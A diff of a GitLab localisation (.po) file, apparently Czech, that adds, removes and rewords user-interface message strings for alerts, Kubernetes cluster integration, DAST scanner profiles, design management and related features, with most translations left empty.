+
msgid "AlertManagement|Service"
msgstr ""
@@ -2352,16 +2421,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2391,7 +2457,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2490,6 +2556,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2637,6 +2706,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2703,6 +2775,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2775,9 +2850,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2919,13 +3003,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
+msgid "An error occurred while saving LDAP override status. Please try again."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2952,12 +3039,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -3036,6 +3129,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3259,6 +3355,9 @@ msgstr "Dub"
msgid "April"
msgstr "Duben"
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3271,6 +3370,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3286,9 +3388,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3397,7 +3496,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3409,9 +3508,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3424,6 +3520,9 @@ msgstr "Artefakty"
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3687,7 +3786,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3765,6 +3864,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3891,7 +3993,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -4005,6 +4107,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -4074,13 +4179,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4275,6 +4383,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4449,6 +4560,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4482,10 +4596,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4506,7 +4620,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4692,9 +4806,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4920,7 +5031,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -5088,9 +5199,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5196,6 +5313,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5229,19 +5349,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5289,13 +5415,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5313,6 +5442,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5352,15 +5484,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5385,6 +5514,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5568,9 +5700,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5766,7 +5895,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5985,12 +6114,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -6030,15 +6162,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -6063,6 +6207,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -6078,9 +6225,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -6111,7 +6255,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6288,6 +6432,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6490,7 +6640,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6949,9 +7099,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -7036,6 +7183,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -7048,6 +7198,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -7072,15 +7225,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -7111,6 +7270,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -7126,6 +7288,13 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Create"
msgstr ""
@@ -7216,6 +7385,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7252,6 +7424,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7276,6 +7451,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7447,6 +7625,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7543,6 +7724,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7709,6 +7899,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7739,25 +7932,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7766,7 +7989,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7778,6 +8010,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7787,12 +8022,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7865,7 +8157,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7943,10 +8235,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -8003,6 +8295,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -8024,15 +8319,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -8042,6 +8346,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -8070,6 +8377,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -8080,6 +8394,9 @@ msgstr[3] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -8092,6 +8409,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -8110,6 +8430,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -8150,8 +8473,8 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -8200,7 +8523,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8434,13 +8757,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8473,15 +8805,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8563,7 +8886,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8572,6 +8898,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8584,7 +8913,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8689,9 +9021,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8708,7 +9037,7 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8960,9 +9289,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9251,9 +9577,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9422,6 +9745,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9446,7 +9772,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9725,6 +10051,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
